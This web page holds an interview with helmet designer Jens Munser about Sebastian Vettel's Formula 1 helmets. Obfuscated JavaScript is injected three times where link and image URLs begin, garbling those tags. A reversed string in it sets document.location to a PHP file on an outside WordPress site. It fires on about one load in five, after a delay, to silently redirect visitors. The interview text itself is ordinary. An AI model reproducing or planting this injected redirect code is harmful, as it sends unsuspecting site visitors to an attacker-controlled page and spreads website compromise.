$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/helmet-designer-to-the-stars-jens-munser-formula-1/attachment/jens-munser-helmets-002/” rel=”attachment wp-att-29069″>$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/11/Jens-Munser-Helmets-002.jpg” alt=”” width=”728″ height=”546″ />
While $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/6min-34sec-with-sebastian-vettel-formula-1/”>catching up with double Formula 1 world champion Sebastian Vettel this month, I noticed a tall, quiet man standing by what I assumed were replicas of the champ’s oft-redesigned helmets. Except they weren’t, they were originals, and Jens Munser is the man that creates them. He’s been designing helmets for Vettel and dozens of other top racing drivers for years. And he told us all about it.
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Tell me about what we’re looking at here.
These are four of this year’s helmets, up until Abu Dhabi. We’ve got another planned for Austin. This is a helmet from the British Grand Prix, a design made for his mechanics.
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This is the most important, from Singapore, which has the LED lights on the top. They have a contact with a battery near the neck, and there are little kinetic energy sensors which work with movement. When the helmet moves, the LEDs start to blink.
Is this new technology?
No, Sebastian and I have used it before, at the Race of Champions. The problem is that I had to test it with Red Bull to make sure that there is no problem with the radio with interference. We tested a version at Spa and they gave their OK, as did the FIA. And then we started with this project.
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How does it work?
There are no cables on the helmet. Instead there’s a silver paint that’s used instead of a wire and carries the power to very thin LEDs. So we glue the LEDs on the top and then make the contacts, and the battery goes in the neck.
Sebastian is renowned for changing his helmet almost every race. How do you decide what his next design will be?
We [JMD] had so many designs at the beginning, and that was the reason we started we a new design. We started with two helmets in 2007 for his first Formula 1 race but had eight idea, so we had to continue! With every new helmet, a new idea. And until now, we’ve had a lot more ideas. We start with a graphic that we show Sebastian, and then we paint it. Sometimes he will want some special colours, sometimes there’s a story behind it. Every time it’s different. For the Abu Dhabi we just designed it so it looks good in the sun and in the night.
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Do you design for other F1 drivers?
Yes, we do the paintwork for Michael Schumacher, Nico Rosberg, Mark Webber, the Ferrari team, Nico Hulkenberg and Daniel Ricciardo. And Adrian Sutil, who I hope will come back in the future.
How did you start in this business?
I started as a motocross driver in 1989 and painted my own motocross helmets. Then some of my friends asked me to paint theirs. So I started a business but then I changed to only kart and car racing.